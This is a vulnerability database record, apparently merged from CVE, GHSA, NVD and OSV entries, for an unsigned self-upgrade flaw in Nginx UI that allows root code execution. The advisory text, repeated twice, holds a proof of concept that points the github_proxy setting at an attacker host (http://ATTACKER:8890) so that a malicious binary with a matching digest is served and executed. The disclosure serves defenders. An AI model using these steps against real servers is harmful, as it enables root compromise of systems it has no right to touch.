{"id":"CVE-2026-107812","aliases":["EUVD-2026-95897","GHSA-662p-52hx-cmh2","GO-2026-6705"],"status":"published","title":"Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM","description":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00175,"percentile":0.07002,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-494"],"published":"2026-10-09T15:41:04Z","modified":"2026-10-28T02:30:26Z","fixes":[{"ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","fixed_in":["1.9.10-0.20260728114330-580585516dd8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.10-0.20250517140552-daee3ac7ade1"},{"fixed":"1.9.10-0.20260728114330-580585516dd8"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"1.9.10-0.20250517140552-daee3ac7ade1"},{"fixed":"1.9.10-0.20260728114330-580585516dd8"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"1.9.10-0.20250517140552-daee3ac7ade1"},{"fixed":"1.9.10-0.20260728114330-580585516dd8"}]}]}],"products":[{"vendor":"0xjacky","product":"nginx-ui"},{"vendor":"nginxui","product":"nginx_ui"}],"references":[{"url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-662p-52hx-cmh2","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/0xJacky/nginx-ui/commit/580585516dd87a8b176bcdac258db70c3b64b7ec","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-662p-52hx-cmh2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107812.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107812","tags":["advisory"]},{"url":"https://github.com/0xJacky/nginx-ui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-107812","title":"Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM","description":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.","status":"published","published":"2026-10-09T15:41:04.107Z","modified":"2026-10-09T19:07:43.373Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T13:45:14.072357Z"}],"euvd":[{"id":"EUVD-2026-95897","description":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.","status":"published","published":"2026-10-09T15:41:04Z","modified":"2026-10-09T19:07:43Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:27:24.157251Z"}],"ghsa":[{"id":"GHSA-662p-52hx-cmh2","title":"Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM","description":"## Summary\nThe self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`)\nthrough the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project's\n`cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest:\n`digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same\norigin, and there is NO cryptographic signature / public-key verification. The downloaded binary then\nreplaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary\nruns as the nginx-ui user (typically root).\n\nBecause integrity rests only on a digest fetched from the same place as the binary, anyone who\ncontrols that download path can substitute a malicious binary plus a matching digest and obtain code\nexecution as root on the next upgrade. Additionally, the `github_proxy` setting accepts `http://`\nURLs, so the binary+digest can be fetched over cleartext.\n\n## Affected code\n- `internal/version/url.go GetUrl(path)` = `\u003cgithub_proxy or cloud.nginxui.com\u003e/\u003cpath\u003e` — used for\n  BOTH the binary and the digest.\n- `internal/upgrader/upgrade.go DownloadLatestRelease`: digest URL and binary URL are both wrapped\n  with `GetUrl()`, fetched, and checked with `digestFileContent == DigestSHA512(tarName)`. No\n  signature verification anywhere in `internal/upgrader/`.\n- `selfupdate.CommitBinary` then replaces the running binary; the process restarts.\n- `settings/http.go`: `GithubProxy` accepts any URL (`binding:\"omitempty,url\"`), including `http://`.\n\n## Attack scenarios\nA. Compromised mirror / CDN (primary). By default the binary+digest are routed through\n   `cloud.nginxui.com`. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is\n   hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,\n   yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the\n   mirror). A binary signature would prevent this.\nB. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of\n   `github_proxy`; the field accepts `http://`, so the binary+digest are fetched in cleartext. An\n   attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)\n   substitutes a malicious binary + matching digest -\u003e root RCE on the next upgrade.\nC. (mechanism demonstration) An authenticated user sets `github_proxy` to a server they control and\n   triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no\n   role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it\n   is included only to demonstrate that an unsigned attacker binary is accepted and executed.\n\n## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism\nAn attacker HTTP server serves any `*.tar.gz` -\u003e a malicious tarball (whose `nginx-ui` is a script\nthat writes a marker as whoever runs it) and any `*.digest` -\u003e the SHA-512 of that tarball.\n1. Set the download origin to the attacker server (here via `github_proxy`; in scenarios A/B this is\n   instead a compromised mirror / MITM): `POST /api/settings` with\n   `http.github_proxy = http://ATTACKER:8890` -\u003e 200. The field accepts the http URL.\n2. Trigger the upgrade: WS `GET /api/upgrade/perform`, send `{\"channel\":\"stable\"}`.\n3. Observed:\n   - The attacker server received BOTH\n     `GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` and `.../nginx-ui-linux-64.tar.gz`\n     (over cleartext http).\n   - WS: \"Downloading latest release\" -\u003e \"Performing core upgrade\" -\u003e restart. The attacker tarball's\n     digest matched (attacker supplied both) -\u003e integrity check PASSED, no signature checked.\n   - Inside the container: `/tmp/UPGRADE_PWNED` = `UPGRADE_RCE_EXECUTED uid=0` -\u003e the malicious binary\n     replaced nginx-ui and EXECUTED AS ROOT.\n\n## Impact\nRoot code execution on upgrade. Realistically reached by compromising the trusted download source\n(mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A\ncryptographic signature on the release binary would prevent all of these.\n\n## Honest scope / caveats\n- Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is\n  accepted and executed as root, and the binary+digest are fetched over cleartext http when an http\n  proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).\n- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising `cloud.nginxui.com`\n  / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are\n  standard attacker capabilities, marked here as analysis.\n- The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to `cloud.nginxui.com`+GitHub\n  plus the digest, so this is not \"zero integrity\" — the gap is the absence of a signature, which\n  matters when the source is compromised or the transport is cleartext (http proxy).\n\n## Suggested fix\nVerify the release binary against a cryptographic signature with a public key pinned in the nginx-ui\nbinary (or a digest fetched over an independent, pinned channel), not a digest from the same origin\nas the binary. Reject `http://` for `github_proxy` (require https). Consider treating `github_proxy`\nas a protected setting.\n\n## Dedup / novelty\nDistinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup\ntampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade\nintegrity (checked osv.dev and the GitHub advisory database). Appears novel.","status":"published","published":"2026-10-09T17:08:21Z","modified":"2026-10-09T17:08:21Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T14:41:30.097746Z"}],"nvd":[{"id":"CVE-2026-107812","description":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.","status":"published","published":"2026-10-09T16:17:25.847Z","modified":"2026-10-20T14:48:27.303Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T14:12:55.473789Z"}],"osv":[{"id":"CVE-2026-107812","title":"Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM","description":"Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the self-upgrade mechanism validates a downloaded binary only with a same-origin digest obtained from the same upgrade mirror. A compromised mirror or network attacker able to alter both responses can supply a malicious executable and matching digest. An operator-triggered upgrade is required, and the application installs and runs the attacker-controlled code in the Nginx UI process context on the next upgrade. This issue is fixed in version 2.5.0.","status":"published","published":"2026-10-09T15:41:04.107Z","modified":"2026-10-28T02:30:26.293202187Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"GHSA-662p-52hx-cmh2","title":"Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM","description":"## Summary\nThe self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`)\nthrough the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project's\n`cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest:\n`digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same\norigin, and there is NO cryptographic signature / public-key verification. The downloaded binary then\nreplaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary\nruns as the nginx-ui user (typically root).\n\nBecause integrity rests only on a digest fetched from the same place as the binary, anyone who\ncontrols that download path can substitute a malicious binary plus a matching digest and obtain code\nexecution as root on the next upgrade. Additionally, the `github_proxy` setting accepts `http://`\nURLs, so the binary+digest can be fetched over cleartext.\n\n## Affected code\n- `internal/version/url.go GetUrl(path)` = `\u003cgithub_proxy or cloud.nginxui.com\u003e/\u003cpath\u003e` — used for\n  BOTH the binary and the digest.\n- `internal/upgrader/upgrade.go DownloadLatestRelease`: digest URL and binary URL are both wrapped\n  with `GetUrl()`, fetched, and checked with `digestFileContent == DigestSHA512(tarName)`. No\n  signature verification anywhere in `internal/upgrader/`.\n- `selfupdate.CommitBinary` then replaces the running binary; the process restarts.\n- `settings/http.go`: `GithubProxy` accepts any URL (`binding:\"omitempty,url\"`), including `http://`.\n\n## Attack scenarios\nA. Compromised mirror / CDN (primary). By default the binary+digest are routed through\n   `cloud.nginxui.com`. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is\n   hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,\n   yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the\n   mirror). A binary signature would prevent this.\nB. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of\n   `github_proxy`; the field accepts `http://`, so the binary+digest are fetched in cleartext. An\n   attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)\n   substitutes a malicious binary + matching digest -\u003e root RCE on the next upgrade.\nC. (mechanism demonstration) An authenticated user sets `github_proxy` to a server they control and\n   triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no\n   role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it\n   is included only to demonstrate that an unsigned attacker binary is accepted and executed.\n\n## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism\nAn attacker HTTP server serves any `*.tar.gz` -\u003e a malicious tarball (whose `nginx-ui` is a script\nthat writes a marker as whoever runs it) and any `*.digest` -\u003e the SHA-512 of that tarball.\n1. Set the download origin to the attacker server (here via `github_proxy`; in scenarios A/B this is\n   instead a compromised mirror / MITM): `POST /api/settings` with\n   `http.github_proxy = http://ATTACKER:8890` -\u003e 200. The field accepts the http URL.\n2. Trigger the upgrade: WS `GET /api/upgrade/perform`, send `{\"channel\":\"stable\"}`.\n3. Observed:\n   - The attacker server received BOTH\n     `GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` and `.../nginx-ui-linux-64.tar.gz`\n     (over cleartext http).\n   - WS: \"Downloading latest release\" -\u003e \"Performing core upgrade\" -\u003e restart. The attacker tarball's\n     digest matched (attacker supplied both) -\u003e integrity check PASSED, no signature checked.\n   - Inside the container: `/tmp/UPGRADE_PWNED` = `UPGRADE_RCE_EXECUTED uid=0` -\u003e the malicious binary\n     replaced nginx-ui and EXECUTED AS ROOT.\n\n## Impact\nRoot code execution on upgrade. Realistically reached by compromising the trusted download source\n(mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A\ncryptographic signature on the release binary would prevent all of these.\n\n## Honest scope / caveats\n- Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is\n  accepted and executed as root, and the binary+digest are fetched over cleartext http when an http\n  proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).\n- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising `cloud.nginxui.com`\n  / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are\n  standard attacker capabilities, marked here as analysis.\n- The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to `cloud.nginxui.com`+GitHub\n  plus the digest, so this is not \"zero integrity\" — the gap is the absence of a signature, which\n  matters when the source is compromised or the transport is cleartext (http proxy).\n\n## Suggested fix\nVerify the release binary against a cryptographic signature with a public key pinned in the nginx-ui\nbinary (or a digest fetched over an independent, pinned channel), not a digest from the same origin\nas the binary. Reject `http://` for `github_proxy` (require https). Consider treating `github_proxy`\nas a protected setting.\n\n## Dedup / novelty\nDistinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup\ntampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade\nintegrity (checked osv.dev and the GitHub advisory database). Appears novel.","status":"published","published":"2026-10-09T17:08:21Z","modified":"2026-10-19T21:40:58.486568803Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T15:46:39.266402Z"},{"id":"GO-2026-6705","title":"Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM in github.com/0xJacky/Nginx-UI","description":"Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM in github.com/0xJacky/Nginx-UI","status":"published","published":"2026-10-19T21:08:26Z","modified":"2026-10-19T21:31:49.314770793Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}